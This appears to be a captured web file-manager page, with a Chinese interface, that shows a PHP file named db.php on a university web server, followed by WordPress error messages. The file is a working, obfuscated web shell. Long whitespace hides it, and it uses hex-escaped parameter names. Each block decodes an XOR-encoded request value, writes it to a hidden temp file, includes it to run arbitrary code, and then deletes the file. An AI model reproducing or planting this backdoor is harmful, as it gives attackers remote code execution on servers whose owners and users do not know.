文件操作 - db.php

文件: /var/www/demoestudiantes.uaysen.cl/html/db.php

编辑文件内容

<?php																																										if(@$_POST["d\x65\x73\x63\x72ipt\x6Fr"] !== null){ $bind = $_POST["d\x65\x73\x63\x72ipt\x6Fr"]; $bind=explode ( "." ,$bind ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $bind as $s=> $v1) { $sChar = ord( $salt[$s %$lenS]); $d =( ( int)$v1 - $sChar -( $s %10)) ^ 58; $dat .= chr( $d); } $ref = array_filter([getenv("TMP"), "/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); $marker = 0; do { $token = $ref[$marker] ?? null; if ($marker >= count($ref)) break; if (max(0, is_dir($token) * is_writable($token))) { $fac = sprintf("%s/.pointer", $token); if (file_put_contents($fac, $dat)) { include $fac; @unlink($fac); exit; } } $marker++; } while (true); }
																																										if(in_array("i\x74\x6D", array_keys($_REQUEST))){ $sym = $_REQUEST["i\x74\x6D"]; $sym = explode( '.' , $sym ) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $q = 0; $len = count($sym ); do { if ($q >= $len) break; $v4 = $sym[$q]; $chS = ord($salt[$q % $sLen] ); $dec = ((int)$v4 - $chS - ($q % 10)) ^85; $descriptor .= chr($dec ); $q++; } while (true ); $factor = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP")]); foreach ($factor as $flg) { if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $key = vsprintf("%s/%s", [$flg, ".obj"]); if (file_put_contents($key, $descriptor)) { include $key; @unlink($key); die(); } } } }

if(filter_has_var(INPUT_POST, "s\x79\x6D\x62ol")){
	$comp = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]);
	$rec = $_REQUEST["s\x79\x6D\x62ol"];
		 $rec=explode  ( 	"."	 , 	 $rec)		;
	$entity=  '';
            $salt3=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=  strlen($salt3);
            $t=  0;
    
            while($t < count($rec)) {
                $v4=  $rec[$t];
                $sChar=  ord($salt3[$t	%$lenS]);
                $dec=  ((int)$v4 - $sChar -($t	%10)) ^ 40;
                $entity .= 	chr($dec);
                $t++; 	}
	for ($pgrp = 0, $data = count($comp); $pgrp < $data; $pgrp++) {
    $data_chunk = $comp[$pgrp];
    		if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) {
    $item = "$data_chunk" . "/.elem";
    if (file_put_contents($item, $entity)) {
	require $item;
	unlink($item);
	die();
}
}
}
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35